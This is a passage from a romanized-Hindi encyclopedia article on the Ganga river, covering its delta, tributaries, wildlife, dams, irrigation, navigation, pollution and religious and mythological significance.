Ganga River, Haridwar]] yah delta dhire dhire sagar ki or badh raha hai. kuchh samay pahale kolakata sagar tat par hi sthit tha aur sagar ka vistar rajamahal tatha silahat tak tha, parantu ab yah tat se 15-20 mil (24-32 kilomitar) door sthit lagabhag 1,80,000 varg kilomitar ke kshetr mean phaila hua hai. jab delta ka sagar ki or nirantar vistar hota hai to use pragatishil delta kahate haian.[7] suandaravan delta mean bhoomi ka dhal atyant kam hone ke karan yahaan ganga atyant dhimi gati se bahati hai aur apane sath laee gayi mitti ko muhane par jama kar deti hai jisase delta ka akar badhata jata hai aur nadi ki kee dharaean evan upadharaean ban jati haian. is prakar bani huee ganga ki pramukh shakha nadiyaan jalangi nadi, ichchhamati nadi, bhairav nadi, vidyadhari nadi aur kalindi nadi haian. nadiyoan ke vakr gati se bahane ke karan dakshini bhag mean kee dhanushakar jhilean ban gayi haian. dhal uttar se dakshin hai, atah adhikaansh nadiyaan uttar se dakshin ki or bahati haian. jvar ke samay in nadiyoan mean jvar ka pani bhar jane ke karan inhean jvariy nadiyaan bhi kahate haian. delta ke sudoor dakshini bhag mean samudr ka khara pani pahuanchane ka karan yah bhag nicha, namakin evan daladali hai tatha yahaan asani se panapane vale maiangrov jati ke vanoan se bhara p da hai. yah delta chaval ki krishi ke lie adhik vikhyat hai. yahaan vishv mean sabase adhik kachche joot ka utpadan hota hai. kataka abhayarany suandaravan ke un ilakoan mean se hai jahaan ka rasta chhoti-chhoti naharoan se hokar guzarata hai. yahaan b di tadad mean suandari pe d milate haian jinake nam par hi in vanoan ka nam suandaravan p da hai. isake alava yahaan par deva, kev da, tarmaja, amalopi aur goran vrikshoan ki aisi prajatiyaan haian, jo suandaravan mean paee jati haian. yahaan ke vanoan ki ek khas bat yah hai ki yahaan vahi pe d panapate ya bach sakate haian, jo mithe aur khare pani ke mishran mean rah sakate hoan.[8]

sahayak nadiyaan

[[chitr:Junction-Of-Gange-And-Yamuna-Allahabad.jpg|thumb|350px|manachitr mean ganga aur yamuna ka sangam, ilahabad (1885)]] ganga mean uttar ki or se akar milane vali pramukh sahayak nadiyaan yamuna, ramaganga, karanali (ghaghara), tapti, gandak, kosi aur kakshi haian tatha dakshin ke pathar se akar isamean milane vali pramukh nadiyaan chanbal, son, betava, ken, dakshini tos adi haian. yamuna ganga ki sabase pramukh sahayak nadi hai jo himalay ki bandarapooanchh choti ke adhar par yamunotri himakhand se nikali hai.[9] himalay ke oopari bhag mean isamean toans[10] tatha bad mean laghu himalay mean ane par isamean giri aur asan nadiyaan milati haian. chambal, betava, sharada aur ken yamuna ki sahayak nadiyaan haian. chambal itava ke pas tatha betava hamirapur ke pas yamuna mean milati haian. yamuna ilahabad ke nikat bayian or se ganga nadi mean ja milati hai. ramaganga mukhy himalay ke dakshini bhag nainital ke nikat se nikalakar bijanaur zile se bahati huee kannauj ke pas ganga mean milati hai. karanali nadi mapsatuang namak himanad se nikalakar ayodhya, phaijabad hoti huee baliya zile ke sima ke pas ganga mean mil jati hai. is nadi ko parvatiy bhag mean kauriyala tatha maidani bhag mean ghaghara kaha jata hai. gandak himalay se nikalakar nepal mean shaligram nam se bahati huee maidani bhag mean narayani nadi ka nam pati hai. yah kali gandak aur trishool nadiyoan ka jal lekar pravahit hoti huee sonapur ke pas ganga mean milati hai. kosi ki mukhyadhara arun hai jo gosaee dham ke uttar se nikalati hai. brahmaputr ke besin ke dakshin se sarpakar roop mean arun nadi bahati hai jahaan yaroo namak nadi isase milati hai. isake bad himalay ke kanchanajangha shikharoan ke bich se bahati huee yah dakshin ki or 90 kilomitar bahati hai jahaan pashchim se soonakosi tatha poorab se tamoor kosi namak nadiyaan isamean milati haian. isake bad kosi nadi ke nam se yah shivalik ko par karake maidan mean utarati hai tatha bihar rajy se bahati huee ganga mean mil jati hai. amarakantak paha di se nikalakar son nadi patana ke pas ganga mean milati hai. madhy-pradesh ke moo ke nikat janayab parvat se nikalakar chambal nadi itava se 38 kilomitar ki doori par yamuna nadi mean milati hai. betava nadi madhy pradesh mean bhopal se nikalakar uttar hamirapur ke nikat yamuna mean milati hai. bhagirathi nadi ke dayean kinare se milane vali anek nadiyoan mean baansalee, dvaraka, mayoorakshi, roopanarayan, kansavati aur rasoolapur pramukh haian. jalaangi aur matha bhaanga ya choonian bayean kinare se milati haian jo atit kal mean ganga ya padma ki shakha nadiyaan thian. kintu ye vartaman samay mean ganga se prithak hokar varshakalin nadiyaan ban gee haian.

jiv-jantu

aitihasik sakshyoan se yah jnat hota hai ki 16vian tatha 17vian shatabdi tak ganga-yamuna pradesh ghane vanoan se dhaka hua tha. in vanoan mean jangali hathi, bhaians, geanda, sher, bagh tatha gaval ka shikar hota tha. ganga ka tatavarti kshetr apane shaant v anukool paryavaran ke karan rang-birange pakshiyoan ka sansar apane aanchal mean sanjoe hue hai. isamean machhaliyoan ki 140 prajatiyaan, 35 sarisrip tatha isake tat par 42 stanadhari prajatiyaan paee jati haian.[11] yahaan ki utkrisht paristhitiki sanrachana mean kee prajati ke vany jivoan jaise nilagay, saanbhar, kharagosh, nevala, chiankara ke sath sarisrip-varg ke jiv-jantuoan ko bhi ashray mila hua hai. is ilake mean aise kee jiv-jantuoan ki prajatiyaan haian jo durlabh hone ke karan sanrakshit ghoshit ki ja chuki haian. ganga ke parvatiy kinaroan par langoor, lal bandar, bhoore bhaloo, lom di, chite, barphile chite, hiran, bhauankane vale hiran, saanbhar, kastoori mrig, sero, bar d mrig, sahi, tahar adi kafi sankhya mean milate haian. vibhinn rangoan ki titaliyaan tatha kit bhi yahaan pae jate haian. badhati huee janasankhya ke dabav mean dhire-dhire vanoan ka lop hone laga hai aur ganga ki ghati mean sarvatr krishi hoti hai phir bhi ganga ke maidani bhag mean hiran, jangali sooar, jangali billiyaan, bhe diya, gid d, lom di ki anek prajatiyaan kafi sankhya mean pae jate haian. dalaphin ki do prajatiyaan ganga mean paee jati haian. jinhean ganga dalaphin aur iravadi dalaphin ke nam se jana jata hai. isake alava ganga mean paee jane vale shark ki vajah se bhi ganga ki prasiddhi hai jisamean bahate huye pani mean paee janevali shark ke karan vishv ke vaijnanikoan ki kafi ruchi hai. is nadi aur bangal ki kha di ke milan sthal par banane vale muhane ko suandaravan ke nam se jana jata hai jo vishv ki bahut-si prasiddh vanaspatiyoan aur prasiddh bangal taeegar ka grihakshetr hai.[12]

arthik mahattv

[[chitr:Ganga-Varanasi.jpg|thumb|250px|varanasi mean ganga nadi ke ghat
Ghats of Ganga River in Varanasi]] ganga apani upatyakaoan mean bharat aur baangladesh ke krishi adharit arth mean bhari sahayog to karati hi hai, yah apani sahayak nadiyoan sahit bahut b de kshetr ke lie sianchaee ke barahamasi srot bhi haian. in kshetroan mean ugaee jane vali pradhan upaj mean mukhyatah dhan, ganna, dal, tilahan, aloo evan gehooan haian. jo bharat ki krishi aj ka mahattvapoorn srot haian. ganga ke tatiy kshetroan mean daladal evan jhiloan ke karan yahaan legyoom, mirch, sarasoan, til, ganna aur joot ki achchhi fasal hoti hai. nadi mean matsy udyog bhi bahut joroan par chalata hai. ganga nadi pranali bharat ki sabase b di nadi pranali hai. isamean lagabhag 375 matsy prajatiyaan upalabdh haian. vaijnanikoan dvara uttar pradesh v bihar mean 111 matsy prajatiyoan ki upalabdhata batayi gayi hai.[13] pharakka baandh ban jane se ganga nadi mean hilsa machhali ke bijotpadan mean sahayata mili hai. [14] ganga ka mahattv paryatan par adharit ay ke karan bhi hai. isake tat par aitihasik drishti se mahattvapoorn tatha prakritik sauandary se bharapoor kee paryatan sthal hai jo rashtriy ay ka mahattvapoorn srot haian. ganga nadi par raiphtiang ke shiviroan ka ayojan kiya jata hai. jo sahasik kheloan aur paryavaran dvara bharat ke arthik sahayog mean sahayog karate haian. ganga tat ke tin b de shahar haridvar, ilahabad evan varanasi jo tirth sthaloan mean vishesh sthan rakhate haian. is karan yahaan shraddhaluoan ki b di sankhya nirantar bani rahati hai aur dharmik paryatan mean mahattvapoorn yogadan karati hai. garmi ke mausam mean jab paha doan se barf pighalati hai, tab nadi mean pani ki matra v bahav achchha hota hai, is samay uttarakhand mean rrishikesh - badrinath marg par kaudiyala se rrishikesh ke madhy raiphtiang, kyakiang v kainoiang ke shiviroan ka ayojan kiya jata hai, jo sahasik kholoan ke shauqinoan aur paryatakoan ko vishesh roop se akarshit kar ke bharat ke arthik sahayog mean mahattvapoorn bhoomika nibhata hai.[15]

baandh evan nadi pariyojanaean

ganga nadi par nirmit anek baandh bharatiy jan-jivan tatha arth vyavastha ka mahattvapoorn aang haian. inamean pramukh haian farakka baandh, tihari baandh, tatha bhimagoda baandh. farakka baandh (bairaj) bharat ke pashchim bangal prant mean sthit ganga nadi par banaya gaya hai. is baandh ka nirman kolakata bandaragah ko gad (silt) se mukt karane ke liye kiya gaya tha jo ki 1950 se 1960 tak is bandaragah ki pramukh samasya thi. kolakata hugali nadi par sthit ek pramukh bandaragah hai. grishm rritu mean hugali nadi ke bahav ko nirantar banaye rakhane ke liye ganga nadi ke jal ke ek b de hisse ko farakka baandh ke dvara hugali nadi mean mo d diya jata hai. ganga par nirmit doosara pramukh baandh tihari baandh tihari vikas pariyojana ka ek prathamik baandh hai jo uttarakhand prant ke tihari zile mean sthit hai. yah baandh ganga nadi ki pramukh sahayogi nadi bhagirathi par banaya gaya hai. tihari baandh ki ooanchaee 261 mitar hai jo ise vishv ka paanchavaan sabase ooancha baandh banati hai. is baandh se 2400 megavat vidyut utpadan, 270,000 hektar kshetr ki sianchaee aur pratidin 102.20 karo d litar peyajal dilli, uttar-pradesh evan uttaraanchal ko upalabdh karana prastavit hai. tisara pramukh baandh bhimagoda baandh haridvar mean sthit hai jisako san 1840 mean aangrejo ne ganga nadi ke pani ko vibhajit kar oopari ganga nahar mean mo dane ke liye banavaya tha. yah nahar haridvar ke bhimagoda namak sh‍than se ganga nadi ke dahine tat se nikalati hai. praramh‍bh mean is nahar mean jalapoorti ganga nadi mean ek ash‍thayi b aauandh banakar ki jati thi. varshakal praramh‍bh hote hi ash‍thayi b aauandh toot jaya karata tha tatha manasoon avadhi mean nahar mean pani chalaya jata tha. is prakar is nahar se keval rabi ki fasaloan ki hi sianchaee ho pati thi. ash‍thayi b aauandh nirman sh‍thal ke daunash‍trim mean varsh 1978-1984 ki avadhi mean bhimagoda bairaj ka nirman karavaya gaya. isake ban jane ke bad oopari ganga nahar pranali se khariph ki fasal mean bhi pani diya jane laga.

arthavyavastha

sianchaee

sianchaee ke lie ganga ke pani ka upayog, chahe badh ka pani ho ya phir naharoan ka, puratan kal se hi prachalit hai. is tarah ki sianchaee ka ullekh dharmagranthoan tatha 2,000 se bhi zyada varsh pahale likhe puranoan mean milata hai. chauthi sadi mean yoonan se bharat ae rajadoot megasthaniz ne yahaan sianchaee ke upayog ka ullekh kiya hai. 12vian sadi se muslim kal mean sianchaee pranali bahut vikasit thi aur mugal badashahoan ne bad mean bahut si naharoan ka nirman kiya. bad mean british shasakoan ne sianchaee pranali ka aur bhi vistar kiya.

uttar pradesh aur bihar sthit ganga ghati ke krishi kshetroan ko sianchaee naharoan ki pranali se bahut labh hua hai. khasataur se is vikasit sianchaee pranali ke karan ganna, kapas aur tilahan jaisi naqadi fasaloan ki paidavar mean vriddhi sambhav huee. purani naharean mukhyat: ganga-yamuna ke dauab ilaqe mean haian. oopari ganga nahar haridvar se shuroo hoti hai aur apani sahayak naharoan sahit 9,524 kilomitar lambi hai. nichali ganga nahar ki lambaee apani sahayak naharoan sahit 8,238 kilomitar hai aur yah narora se prarambh hoti hai. sharada nahar se uttar pradesh mean ayodhya ki bhoomi sianchi jati hai. ganga ke uttar mean bhoomi ki ooanchaee adhik hone se naharoan ke dvara sianchaee karana kathin hone ke karan bhoomigat jal pamp dvara khianchakar satah par laya jata hai. uttar pradesh aur bihar ke kafi b de ilaqe mean hath se khode hue kuoan se nikali naharoan ke dvara sianchaee ki jati hai. baangladesh mean ganga-kabadak yojana mukhyat: sianchaee ke lie hi hai aur usamean khulana, jeshor aur kushtiya ziloan ke ve hisse ate haian, jo delta ke kamazor hisse haian, jahaan nadiyoan ka marg gad aur ghani jha diyoan ke karan avaruddh ho chuka hai. is ilaqe mean kul varshik varsha samanyat: 1,524 milimitar se kam hoti hai tatha shit rritu tulanatmak roop se shushk rahati hai. yahaan ki sianchaee pranali bhi naharoan tatha bhoomigat jal khianchane vale vidyutachalit upakaranoan par adharit hai.

naukayan

prachin kal mean ganga aur isaki kuchh sahayak nadiyaan, khasataur se poorab mean, naukayan ke upayukt thian. megasthaniz ke anusar, chauthi shatabdi ee. poo. mean ganga aur isaki pramukh sahayak nadiyoan mean naukayan hota tha. ganga ke besin mean aantardeshiy nadi naukayan 14vian shatabdi tak bhi phal-phool raha tha. 19vian sadi ke ate-ate sianchaee tatha naukayan ke lie upayukt naharoan ki jal parivahan pranali ke pramukh marg ban chuke the. paiandal stimaroan ke agaman se aantardeshiy parivahan mean bhi jo kranti aee, usase bangal aur bihar ke nil udyog ko bahut badhava mila. ganga mean kalakatta se ilahabad aur usase age yamuna mean agara tak tatha udhar brahmaputr tak niyamit stimar sevaean chalane lagian.

19vian sadi ke madhy mean relamargoan ke banane se b de paimane par jal parivahan mean giravat shuroo ho gee. sianchaee hetu pani bahut adhik matra mean khianch lie jane se bhi naukayan viparit roop se prabhavit hua. ab to naukayan keval ilahabad ke asapas ke madhy ganga besin tak hi simit hokar rah gaya hai, jisamean se adhikaansh desi naukaoan par adharit haian.

pashchim bangal tatha baangladesh ab bhi joot, ghas, chay, anaj tatha any krishi aur gramin utpadoan ke parivahan ke lie jalamargoan par nirbhar haian. baangladesh mean chalana, khulana, barisal, chaandapur, narayanaganj, gvalando ghat, sirasaganj, bhairav bazar tatha pheanchooganj aur bharat mean kolakata, golapa da, dhuburi aur dibroogadh pramukh nadi bandaragah haian. 1947 mean bharat ke vibhajan se b de dooragami parivartan hue. kalakatta se asam tak aantardeshiy jalamargoan ke dvara pahale b de paimane par hone vala vyapar lagabhag band hi ho gaya.

baangladesh mean aantardeshiy jal parivahan ki zimmedari aantardeshiy jal parivahan pradhikaran ki hai. bharat mean aantardeshiy jalamargoan ka niti nirdharan kendriy aantardeshiy jal parivahan mandal (seantral v aautar traansaport bord) karata hai. lekin rashtriy jalamargoan ki vyapak pranali ka vikas evan rakh-rakhav aantardeshiy jalamarg (inalaiand v aautaravez ath aauriti) pradhikaran karata hai. ganga ke besin mean ilahabad se lekar haldiya tak lagabhag 1,607 kilomitar lamba jalamarg is pranali mean shamil hai.

delta ke mukh par bharat ki sima ke thik bhitar farakka baandh ka nirman baangladesh aur bharat ke bich vivad ka karan ban gaya hai. bharat ka kahana hai ki gad ke jamane tatha khara pani ghus ane ki vajah se kolakata bandaragah ka patan ho gaya hai. kolakata ki sthiti mean sudhar ke lie khare pani ko nikalakar aur jalastar ko badhakar bharat ne farakka bairaj se ganga ko mo dakar taza pani hasil karane ki koshish ki hai. ab ek b di nahar dvara pani bhagirathi nadi mean laya jata hai, jo kolakata se pare hugali nadi mean samahit hota hai.

baangladesh ka kahana hai ki nadiyoan ke tatavarti deshoan ki paraspar samriddhi ke lie yah zaroori hai ki aantardeshiy nadiyoan ke pani par unaka sanyukt niyantran hona chahie. sianchaee, naukayan tatha khare pani ki rokatham ke lie ganga ka pani baangladesh mean bhi utana hi avashyak hai, jitana bharat ke lie. baangladesh ke anusar, farakka baandh ne use pani ke ek aise bahumooly srot se vanchit kar diya hai, jo ki usaki samriddhi ke lie avashyak hai. doosari taraf bharat gangajal ki samasya ke bare mean dvipakshiy ravaiya apanaye jane ke paksh mean hai. donoan deshoan ke bich kee aantarim samajhaute hue haian, lekin abhi tak is vivad ka koee sthayi hal nahian nikal paya hai. bharat ke asam mean brahmaputr ke pani ko baangladesh se hokar ek nahar dvara ganga mean mo dane ke prastav ke javab mean baangladesh ne sujhaya hai ki poorvi nepal, pashchim bangal hote hue ek nahar baangladesh tak banaee jae. kisi bhi prastav ko sakaratmak pratikriya nahian mili hai. 1987 tatha 1988 mean baangladesh mean aee pralayankari badhoan, jisamean 1988 ki badh us desh ke itihas ki sarvadhik vinashakari badh thi, isako dekhate hue vishv baiank ne is kshetr ke lie ab badh niyantran ki ek dooragami yojana banaee hai.

panabijali yojana

ganga ki lagabhag 130 lakh kilovat ki anumanit jalavidyut kshamata ka 2/5 hissa bharat mean tatha shesh nepal mean hai. is kshamata mean se kuchh ka dohan bharat ne chanbal aur rihand nadiyoan dvara kiya hai. ganga ka maidan duniya ki sabase ghani abadi vala tatha upajaoo ilaqoan mean se ek hai. chooanki is maidani kshetr mean avarodh n ke barabar hai, isilie ganga ki dhara adhikaansh ilaqe mean chau di v dhimi gati se pravahit hai. usake kul apavah besin ka 9,75,900 varg kilomitar kshetraphal, yani bharat ke kul kshetr ka lagabhag chauthaee hissa hai aur us par lagabhag 50 karo d ki abadi nirbhar karati hai. is besin ki bhoomi par gahan kheti hoti hai. ganga pranali ki jalapoorti aanshik roop se julaee se aktoobar ke bich hone vali manasoon ki varsha aur aprॅl se joon ke bich himalay par garmi se pighalane vali barf par nirbhar karati haian.

bharatiy upamahadvip ka yah vistrit uttar-madhy khand, jise uttar bharatiy maidan bhi kaha jata hai, pashchim mean brahmaputr nadi ghati aur ganga ke delta se lekar siandhu nadi ghati tak phaila hua hai. is ilaqe mean is upamahadvip ke sabase samriddh aur saghan janasankhya vale kshetr haian. is maidan ka adhikaansh hissa ganga aur brahmaputr nadiyoan ke dvara poorv mean siandh nadi dvara pashchim mean bahakar laee gee kachhari mitti se bana hua hai. maidan ke poorvi hissoan mean kam barish ya sardiyaan shushk hoti haian. kintu manasoon ki varsha itani adhik hoti hai ki b de-b de ilaqoan mean daladal ya uthali jhilean ban jati haian. jyoan-jyoan pashchim ki or badhate haian, yah maidan shushk hota chala jata hai aur ant mean thar ke registan mean badal jata hai.

pradooshan evan paryavaran

ganga nadi vishv bhar mean apani shuddhikaran kshamata ke karan jani jati hai. lanbe samay se prachalit isaki shuddhikaran ki manyata ka vaijnanik adhar bhi hai. vaijnanik manate haian ki is nadi ke jal mean baiktiriyophej namak vishanu hote haian, jo jivanuoan v any hanikarak sookshmajivoan ko jivit nahian rahane dete haian. nadi ke jal mean pranavayu (aauksijan) ki matra ko banae rakhane ki asadharan kshamata hai. kiantu isaka karan abhi tak ajnat hai. thumb|250px|left|ganga nadi, varanasi
Ganga River, Varanasi ek rashtriy sarvajanik rediyo karyakram ke anusar is karan haija aur pechish jaisi bimariyaan hone ka khatara bahut hi kam ho jata hai, jisase mahamariyaan hone ki sanbhavana b de star par tal jati hai.[16] lekin ganga ke tat par ghane base audyogik nagaroan ke naloan ki gandagi sidhe ganga nadi mean milane se ganga ka pradooshan pichhale kee saloan se bharat sarakar aur janata ki chianta ka vishay bana hua hai. audyogik kachare ke sath-sath plastik kachare ki bahutayat ne ganga jal ko bhi behad pradooshit kiya hai. vaijnanik jaanch ke anusar ganga ka bayolajikal aauksijan star 3 digri (samany) se badhakar 6 digri ho chuka hai. ganga mean 2 karo d 90 lakh litar pradooshit kachara pratidin gir raha hai. vishv baiank riport ke anusar uttar-pradesh ki 12 pratishat bimariyoan ki vajah pradooshit ganga jal hai. yah ghor chintaniy hai ki ganga-jal n snan ke yogy raha, n pine ke yogy raha aur n hi sianchaee ke yogy. ganga ke parabhav ka arth hoga, hamari samoochi sabhyata ka ant.[17] ganga mean badhate pradooshan par niyantran pane ke lie gh diyaloan ki madad li ja rahi hai.[18] shahar ki gandagi ko saph karane ke lie sanyantroan ko lagaya ja raha hai aur udyogoan ke kacharoan ko isamean girane se rokane ke lie qanoon bane haian. isi kram mean ganga ko rashtriy dharohar bhi ghoshit kar diya gaya hai aur ganga ekshan plan v rashtriy nadi sanrakshan yojana lagoo ki gee haian. haanlaanki isaki saphalata par prashnachihn bhi lagae jate rahe haian.[19] janata bhi is vishay mean jagrit huee hai. isake sath hi dharmik bhavanaean ahat n hoan isake bhi prayatn kie ja rahe haian.[20] itana sabakuchh hone ke bavajood ganga ke astitv par sankat ke badal chhae hue haian. 2007 ki ek sanyukt rashtr riport ke anusar himalay par sthit ganga ki jalapoorti karane vale himanad ki 2030 tak samapt hone ki sanbhavana hai. isake bad nadi ka bahav manasoon par ashrit hokar mausami hi rah jaega. [21]

dharmik mahattv

bharat ki anek dharmik avadharanaoan mean ganga nadi ko devi ke roop mean nirupit kiya gaya hai. bahut se pavitr tirthasthal ganga nadi ke kinare par base huye haian jinamean varanasi aur haridvar sabase pramukh haian. ganga nadi ko bharat ki pavitr nadiyoan mean sabase pavitr mana jata hai evan yah manyata hai ki ganga mean snan karane se manushy ke sare papoan ka nash ho jata hai.[22] marane ke bad log ganga mean apani rakh visarjit karana moksh prapti ke liye avashyak samajhate haian, yahaan tak ki kuchh log ganga ke kinare hi pran visarjan ya aantim sanskar ki ichchha bhi rakhate haian. [[chitr:Kumbh mela.jpg|thumb|280px|kumbh mela, ilahabad
Kumb Fair, Allahabad]]

isake ghatoan par log pooja archana karate haian aur dhyan lagate haian. gangajal ko pavitr samajha jata hai tatha samast sanskaroan mean usaka hona avashyak hai. panchamrit mean bhi gangajal ko ek amrit mana gaya hai. anek parvoan aur utsavoan ka ganga se sidha sanbandh hai. udaharan ke lie makar sankrati, kuanbh aur ganga dashahara ke samay ganga mean nahana ya keval darshan hi kar lena bahut mahattvapoorn samajha jata hai. isake tatoan par anek prasiddh meloan ka ayojan kiya jata hai aur anek prasiddh mandir ganga ke tat par hi bane hue haian. mahabharat ke anusar matr prayag mean magh mas mean ganga-yamuna ke sangam par tin karo d das hazar tirthoan ka sangam hota hai. ye tirth sthal sampoorn bharat mean saanskritik ekata sthapit karate haian.[23] ganga ko lakshy karake anek bhakti granth likhe ge haian. jinamean shrigangasahasranamastotramh[24] aur arati[25] sabase lokapriy haian. anek log apane dainik jivan mean shraddha ke sath inaka prayog karate haian. gangotri tatha any sthanoan par ganga ke mandir aur moortiyaan bhi sthapit haian jinake darshan kar shraddhalu svayan ko kritarth samajhate haian. uttarakhand ke panch prayag tatha prayagraj jo ilahabad mean sthit hai ganga ke ve prasiddh sangam sthal haian jahaan vah any nadiyoan se milati haian. ye sabhi sangam dharmik drishti se poojy mane ge haian.

ganga nadi ka dharmik mahatv sambhavat: vishv ki kisi bhi any nadi se zyada hai. adikal se hi yah pooji jati rahi hai aur aj bhi hinduoan ke lie yah sabase pavitr nadi hai. ise devi svaroop mana jata hai. ek kianvadanti ke anusar, mahan tapasvi bhagirath ki prarthana par devi ganga ko svayan bhagavan vishnu ne is dharati par bheja. lekin ganga jis veg se dharati par avatarit hueean, usase unake marg mean ane vali har vastu ke jalaplavit hone ka khatara tha. isilie bhagavan shiv ne pahale hi unhean apani jataoan mean lapetakar unake veg ko niyantrit aur shant kiya. mukti chahane vale usake bad hi usamean snan kar pae. hinduoan ke tirthasthal vaise to samooche upamahadvip mean phail hue haian, tathapi ganga tat par base tirth hindoo dharmavalambiyoan ke lie vishesh mahatv rakhate haian. inamean pramukh haian, ilahabad mean ganga aur yamuna ka sangam, jahaan ek nishchit antaral par janavari-faravari mean kumbh mela ayojit hota hai. is anushthan ke samay lakhoan tirthayatri ganga mean snan karate haian. pavitr snan ki drishti se any tirth haian, varanasi, kashi aur haridvar. kalakatta mean hugali nadi bhi pavitr mani jati hai. tirthayatra ki drishti se ganga tat par gangotri aur alakananda aur bhagirathi ka sangam bhi mahatvapoorn hai. hindoo apane mritakoan ki bhasm evan asthiyaan yah manate hue yahaan visarjit karate haian ki aisa karane se mritak sidhe svarg mean jata hai. isilie ganga ke tat par kee sthanoan par shavadah hetu vishesh ghat bane hue haian.

ganga punitatam nadi hai aur isake tatoan par haridvar, kanakhal, prayag evan kashi jaise param prasiddh tirth avasthit haian. prasiddh nadisookt[26] mean sarvapratham ganga ka hi ahvan kiya gaya hai. rrigved[27] mean ‘gangay’ shabd aya hai jisaka sambhavat: arth hai ‘ganga par vriddhi karata hua.’[28] shatapath brahman[29] evan aitarey brahman [30] mean ganga evan yamuna ke kinare par bharat daushyanti ki vijayoan evan yajnoan ka ullekh hua hai. shatapath brahman[31] mean ek prachin gatha ka ullekh hai- ‘nadapith par apsara shakuntala ne bharat ko garbh mean dharan kiya, jisane sampoorn prithvi ko jitane ke uparant indr ke pas yajn ke lie ek sahasr se adhik ashv bheje.’ mahabharat[32] evan puranoan[33] mean ganga ki mahatta evan pavitrikaran ke vishay mean saik doan prashastijanak shlok haian. skand puran[34] mean ganga ke ek sahasr namoan ka ullekh hai. yahaan par uparyukt granthoan mean diye gaye varnanoan ka tho da aansh bhi dena sambhav nahian hai. adhikaansh bharatiyoan ke man mean ganga jaisi nadiyoan evan himalay jaise parvatoan ke do svaroop ghar kar baithe haian-

  1. bhautik
  2. adhyatmik

vishal nadiyoan ke sath daivi jivan ki pragadhata sanlagn ho hi jati hai. tayalar ne apane granth ‘primitiv kalchar’[35] mean likha hai-

‘jinhean ham nirjiv padarth kahate haian, yatha nadiyaan, patthar, vriksh, astr-shastr adi. ve jivit, buddhishali ho uthate haian, unase batean ki jati haian, unhean prasann kiya jata hai aur yadi ve hani pahuanchate haian to unhean dandit bhi kiya jata hai.’

ganga ke mahatmy evan usaki tirthayatra ke vishay mean prithak-prithak granth pranit hue haian. yatha- ganeshvar (1350 ee.) ka gangapattalak, mithila ke raja padmasianh ki rani vishvasadevi ki gangavakyavali, ganapati ki gangabhaktitarangini evan vardhaman ki gangakrityavivek. in granthoan ki tithiyaan is mahagranth ke ant mean di huee haian.

van parv

mukhy lekh : van parv mahabharat

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van parv[36] ne ganga ki prashasti mean kee shlok[37] diye haian, jinamean se kuchh ka anuvad is prakar hai- "jahaan bhi kahian snan kiya jae, ganga kurukshetr ke barabar hai. kintu kanakhal ki apani visheshata hai aur prayag mean isaki param mahatta hai. yadi koee saik doan papakarm karake gangajal ka avasianchan karata hai to gangajal un dushkrityoan ko usi prakar jala deta hai, jis prakar se agni eedhan ko jala deti hai. sat yug mean sabhi sthal pavitr the, treta yug mean pushkar sabase adhik pavitr tha, dvapar yug mean kurukshetr evan kaliyug mean ganga. nam lene par ganga papi ko pavitr kar deti hai. ise dekhane se saubhagy prapt hota hai. jab isamean snan kiya jata hai ya isaka jal grahan kiya jata hai to sat pidhiyoan tak kul pavitr ho jata hai. jab tak kisi manushy ki asthi ganga jal ko sparsh karati rahati hai, tab tak vah svargalok mean prasann rahata hai. ganga ke saman koee tirth nahian hai aur keshan ke saman koee dev. vah desh jahaan ganga bahati hai aur vah tapovan jahaan par ganga paee jati hai, use siddhikshetr kahana chahie, kyoanki vah gangatir ko chhoota rahata hai."

anushasan parv

mukhy lekh : anushasan parv mahabharat

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anushasan parv[38] mean aya hai ki ve janapad evan desh, ve parvat evan ashram, jinase hokar ganga bahati hai, puny ka phal dene mean mahan haian. ve log, jo jivan ke pratham bhag mean papakarm karate haian, yadi ganga ki or jate haian to param pad prapt karate haian. jo log ganga mean snan karate haian unaka phal badhata jata hai. ve pavitratma ho jate haian aur aisa punyaphal pate haian jo saik doan vaidik yajnoan ke sampadan se bhi nahian prapt hota.

bhagavadagita mean bhagavan shrikrishna ne kaha hai ki dharaoan mean maian ganga hooan.[39] manu[40] ne sakshi ko satyochcharan ke lie jo kaha hai usase prakat hota hai ki manusmriti ke kal mean ganga evan kurukshetr sarvochch punit sthal the.[41]

pauranik mahattv

ganga nadi ke sath anek pauranik kathaean ju di huee haian. kuchh puranoan ne ganga ko mandakini ke roop mean svarg mean, ganga ke roop mean prithvi par aur bhogavati ke roop mean patal mean pravahit hote hue varnit kiya hai.[42] vishnu adi puranoan ne ganga ko vishnu ke bayean pair ke aangoothe ke nakh se pravahit mana hai.[43] kuchh puranoan mean aisa aya hai ki shiv ne apani jata se ganga ko sat dharaoan mean parivartit kar diya, jinamean tin (nalini, hladini evan pavani) poorv ki or, tin (sita, chakshus evan sindhu) pashchim ki or pravahit huee aur satavian dhara bhagirathi huee (matsy puran 121|38-41; brahmand puran 2|18|39-41 evan 1|3|65-66). koorm puran (1|46|30-31) evan varah puran (adhyay 82, gady mean) ka kathan hai ki ganga sarvapratham sita, alakananda, suchaksh evan bhadra namak char vibhinn dharaoan mean bahati hai. alakananda dakshin ki or bahati hai, bharatavarsh ki or ati hai aur saptamukhoan mean hokar samudr mean girati hai.[44] brahmand puran (73|68-69) mean ganga ko vishnu ke paanv se evan shiv ke jatajoot mean avasthit mana gaya hai.

ek doosare pauranik akhyan ke anusar ganga himalay aur maina ki putri tatha uma ki bhagini thian. mahabharat ki ek katha use kururaj shantanu ki patni aur bhishm ki mata batati hai. jisamean bhishm ka doosara nam gaangey bhi hai. ganga ka sambandh kartikey ke matritv se bhi hai. hinduoan ke jitane tirth is nadi ke tir par haian, utane kahian par nahian aur usaki pavitrata ka prabhav to bharatiyoan par itana gahara p da ki unhoanne anek doosari nadiyoan ke nam bhi ganga rakh diye. jahaan-jahaan bharatiy sanskriti ka vistar hua, vahaan-vahaan ganga ki pavitrata ka vividh roop se ullekh hua. ganga ki makar par aroodh chanvar athava kalash dharini moortiyaan bhi guptakal mean banane lagi thian.[45]

